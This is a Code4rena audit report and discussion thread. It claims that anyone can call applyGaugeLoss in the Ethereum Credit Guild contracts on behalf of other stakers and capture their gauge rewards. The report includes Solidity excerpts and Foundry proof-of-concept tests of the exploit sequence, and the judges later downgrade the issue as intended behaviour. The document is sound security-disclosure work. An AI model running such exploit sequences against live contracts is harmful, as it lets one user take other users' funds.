Users can access other users' funds.

[c4-bot-1]

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/GuildToken.sol#L147 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L396-L399

Vulnerability details

Impact

After the gauge experiences a loss, the upcoming rewards can still be assigned to users. When users decide to change their weight, they should apply that loss first, meaning their weight becomes 0, and they won't be able to receive upcoming rewards. Only after they add new weight will they receive new rewards based on that new weight. Normally, users want to receive rewards until they decide to change their weight. However, users can apply any user's loss on behalf of them and receive all rewards that should be assigned to them. There is no access limit in the applyGaugeLoss function.

I believe the reason behind this is to allow users who are using SurplusGuildMinter to apply loss to the SurplusGuildMinter on its behalf. However, this can lead to any user receiving another user's funds. I marked this as high because users can lose their rewards regardless of their wishes.

Proof of Concept

Let's explain through one example. There are 3 users, and they have added weight to the same term. After some time, the term experiences a loss for one loan.

None of the users decide to change their weight because they don't have enough free tokens. User 1 decides to receive all upcoming rewards alone. So, he applies loss on behalf of User 2 and User 3 immediately. https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/GuildToken.sol#L147

function applyGaugeLoss(address gauge, address who) external {
    _decrementGaugeWeight(who, gauge, _userGaugeWeight);
}

User 2 and User 3 may identify User 1's plan and attempt to adopt User 1's loss. However, since this term has already generated some tokens, they are unable to set the gauge weight of this term to 0. Nonetheless, User 1 can now receive all future rewards. https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L396-L399

function notifyPnL(address gauge, int256 amount) {
    uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge];
    gaugeProfitIndex[gauge] = _gaugeProfitIndex +
        (amountForGuild * 1e18) / _gaugeWeight;
} 

When calculating rewards, they are divided by the current weight of User 1. This implies that all rewards are allocated to User 1, despite the fact that current loans could be created with the support of three users. https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L413-L435

function claimGaugeRewards(address user, address gauge) {
   uint256 _userGaugeWeight = uint256(
       GuildToken(guild).getUserGaugeWeight(user, gauge)
   );
   if (_userGaugeWeight == 0) {
       return 0;
   }
   uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge];
   uint256 _userGaugeProfitIndex = userGaugeProfitIndex[user][gauge];
   uint256 deltaIndex = _gaugeProfitIndex - _userGaugeProfitIndex;
   if (deltaIndex != 0) {
       creditEarned = (_userGaugeWeight * deltaIndex) / 1e18;
       userGaugeProfitIndex[user][gauge] = _gaugeProfitIndex;
   }
   if (creditEarned != 0) {
      CreditToken(credit).transfer(user, creditEarned);
   }
}

In summary, User 1 has the ability to appropriate the rewards intended for other users.

The PoC for this is as below:

function testClaimOthersFunds() public {
        uint128 X = 100e18;

        guild.mint(address(this), X);
        guild.incrementGauge(address(term), X);

        address user1 = address(3);
        address user2 = address(4);

        guild.mint(user1, X);
        guild.mint(user2, X);

        // user1 increase gauge weight
        vm.startPrank(user1);
        guild.incrementGauge(address(term), X);
        vm.stopPrank();

        // user2 increase gauge weight
        vm.startPrank(user2);
        guild.incrementGauge(address(term), X);
        vm.stopPrank();

        collateral.mint(address(this), X);
        collateral.approve(address(term), X);
        bytes32 loanId = term.borrow(X, X);

        vm.warp(block.timestamp + 3 days);

        // notify loss
        vm.startPrank(address(profitManager));
        guild.notifyGaugeLoss(address(term));
        vm.stopPrank();

        // apply loss on behalf of user1 (user1 don't want actually)
        guild.applyGaugeLoss(address(term), user1);
        // apply loss on behalf of user2
        guild.applyGaugeLoss(address(term), user2);

        vm.prank(governor);
        profitManager.setProfitSharingConfig(
            0.5e18, // surplusBufferSplit
            0, // creditSplit
            0.5e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );

        vm.warp(block.timestamp + 365 days);
        credit.mint(address(this), 3 * X);
        credit.approve(address(term), 3 * X);
        // rewards are distributed to guild holders
        term.repay(loanId);

        uint256 balanceBeforeOfThis = credit.balanceOf(address(this));
        profitManager.claimGaugeRewards(address(this), address(term));
        uint256 balanceAfterOfThis = credit.balanceOf(address(this));
        // address(this) has all rewards for both of user1 and user2
        assertGt(balanceAfterOfThis, balanceBeforeOfThis); // balanceAfterOfThis = 294962354551675168315, balanceBeforeOfThis = 289924709103353867215

        uint256 balanceBeforeOfUser1 = credit.balanceOf(user1);
        profitManager.claimGaugeRewards(user1, address(term));
        uint256 balanceAfterOfUser1 = credit.balanceOf(user1);
        // user1 doesn't have any rewards
        assertEq(balanceAfterOfUser1, balanceBeforeOfUser1);

        uint256 balanceBeforeOfUser2 = credit.balanceOf(user2);
        profitManager.claimGaugeRewards(user2, address(term));
        uint256 balanceAfterOfUser2 = credit.balanceOf(user2);
        // user2 doesn't have any rewards
        assertEq(balanceAfterOfUser2, balanceBeforeOfUser2);
}

Tools Used

Recommended Mitigation Steps

Restrict access to the applyGaugeLoss function, allowing users to only apply loss for themselves or the SurplusGuildMinter.

Assessed type

Error

[c4-pre-sort]

0xSorryNotSorry marked the issue as sufficient quality report

[c4-pre-sort]

0xSorryNotSorry marked the issue as duplicate of #451

[c4-judge]

Trumpero changed the severity to QA (Quality Assurance)

[c4-judge]

Trumpero marked the issue as grade-a

[etherSky111]

Hi @Trumpero, @eswak ,

I greatly appreciate your thoughtful review. I understand that evaluating submissions for this contest can be quite challenging.

Could you kindly review my comments below? I believe that issue #186 is distinct from #451, and the sponsor's comment is related to #186.

Regarding @eswak 's comment stating, 'it's because every other users let them do so,' my PoC demonstrates that users cannot slash the last user since the term has already generated tokens, and they cannot reduce the term's gauge weight to zero. I want you to consider this aspect.

Furthermore, the proposed solution is straightforward to implement.

Thank you once again for your time and consideration.

[Trumpero]

my PoC demonstrates that users cannot slash the last user since the term has already generated tokens, and they cannot reduce the term's gauge weight to zero.

I don't see any evidence supporting this statement. I believe the term's gauge weight can normally be reduced to 0, and the malicious user in your scenario can still be slashed. I ran this test in GuildToken.t.sol to demonstrate it:

function testApplyLoss1() public {
      // revert if the gauge has no reported loss yet
      vm.expectRevert("GuildToken: no loss to apply");
      token.applyGaugeLoss(gauge1, alice);

      _setupAliceLossInGauge1();
      // realize loss in gauge 1
      token.applyGaugeLoss(gauge1, alice);
      assertEq(token.getGaugeWeight(gauge1), 0);
  }

[etherSky111]

Hi @Trumpero , Thank you for your comment.

I'm not certain if I can respond here, but I believe I should reply to your previous comment.

In reality, a loss occurring in the gauge implies that some tokens have been borrowed from this gauge, and its issuance is no longer at 0.

Multiple users increased the weight of this gauge, and one user slashed other users on their behalf. Now, let's examine a scenario where another user attempts to slash the last user as well. The following functions are invoked sequentially:

function applyGaugeLoss(address gauge, address who) external {
    _decrementGaugeWeight(who, gauge, _userGaugeWeight);
}

Here, as I previously noted, the issuance is not equal to 0.

function _decrementGaugeWeight(address user, address gauge, uint256 weight) internal override {
     uint256 issuance = LendingTerm(gauge).issuance();
     if (issuance != 0) {
            uint256 debtCeilingAfterDecrement = LendingTerm(gauge).debtCeiling(-int256(weight));
            require(
                issuance <= debtCeilingAfterDecrement,
                "GuildToken: debt ceiling used"
            );
        }
}

This is the final user who added weight to this gauge. So the gaugeWeight becomes 0, and the debtCeiling function returns 0. However, since the issuance is greater than 0, the transaction is reverted.

function debtCeiling(int256 gaugeWeightDelta) public view returns (uint256) {
    uint256 gaugeWeight = GuildToken(_guildToken).getGaugeWeight(address(this));
    gaugeWeight = uint256(int256(gaugeWeight) + gaugeWeightDelta);
    if (gaugeWeight == 0) {
            return 0; // no gauge vote, 0 debt ceiling
    } 
}

In your above test, the _setupAliceLossInGauge1 function doesn't borrow any tokens in gauge1. It simply simulates the notifyPnL functionality. So the issuance of guage1 is 0.

You can check below PoC (LendingTerm.t.sol):

function testSlashLastUser() public {
        // In the test, I introduced a new term.
        LendingTerm newTerm;
        newTerm = LendingTerm(Clones.clone(address(new LendingTerm())));
        newTerm.initialize(
            address(core),
            LendingTerm.LendingTermReferences({
                profitManager: address(profitManager),
                guildToken: address(guild),
                auctionHouse: address(auctionHouse),
                creditMinter: address(rlcm),
                creditToken: address(credit)
            }),
            LendingTerm.LendingTermParams({
                collateralToken: address(collateral),
                maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN,
                interestRate: _INTEREST_RATE,
                maxDelayBetweenPartialRepay: _MAX_DELAY_BETWEEN_PARTIAL_REPAY,
                minPartialRepayPercent: _MIN_PARTIAL_REPAY_PERCENT,
                openingFee: 0,
                hardCap: _HARDCAP
            })
        );
        vm.startPrank(governor);
        core.grantRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(newTerm));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(newTerm));
        vm.stopPrank();

        guild.addGauge(2, address(newTerm));

        uint128 X = 10000e18;
        uint128 Y = 1001e18;

        address user1 = address(3);
        address user2 = address(4);

        // No weight has been added
        assertEq(guild.getGaugeWeight(address(newTerm)), 0);

        guild.mint(user1, X);
        guild.mint(user2, Y);

        // user1 increase gauge weight
        vm.startPrank(user1);
        guild.incrementGauge(address(newTerm), X);
        vm.stopPrank();

        // user2 increase gauge weight
        vm.startPrank(user2);
        guild.incrementGauge(address(newTerm), Y);
        vm.stopPrank();

        // borrow some tokens, so issuance for this gauge is larger than 0
        collateral.mint(address(this), Y);
        collateral.approve(address(newTerm), Y);
        newTerm.borrow(Y, Y);

        vm.warp(block.timestamp + 3 days);

        // notify loss
        vm.startPrank(address(profitManager));
        guild.notifyGaugeLoss(address(newTerm));
        vm.stopPrank();

        // user1 apply loss of user2
        vm.startPrank(user1);
        guild.applyGaugeLoss(address(newTerm), user2);
        vm.stopPrank();

        // issuance is larger than 0
        assertGt(newTerm.issuance(), 0);

      // debtCeiling returns 0
        assertEq(newTerm.debtCeiling(-int256(uint256(X))), 0);

        // user2 can not apply loss of user1
        vm.startPrank(user2);
        vm.expectRevert("GuildToken: debt ceiling used");
        guild.applyGaugeLoss(address(newTerm), user1);
        vm.stopPrank();
}

Thanks again.

[Trumpero]

@etherSky111 Your additional information is very similar to issue #877. I'm forwarding the sponsor's comment:

Disputing because this is the intended behavior. The gauge votes should not be able to be decreased below a value that would make the debt ceiling below issuance, so beyond this, GUILD gauge stakers should not be able to avoid slashing.

Therefore, this behavior is expected and works like a game between users.

[etherSky111]

Okay, I see. Thank you very much.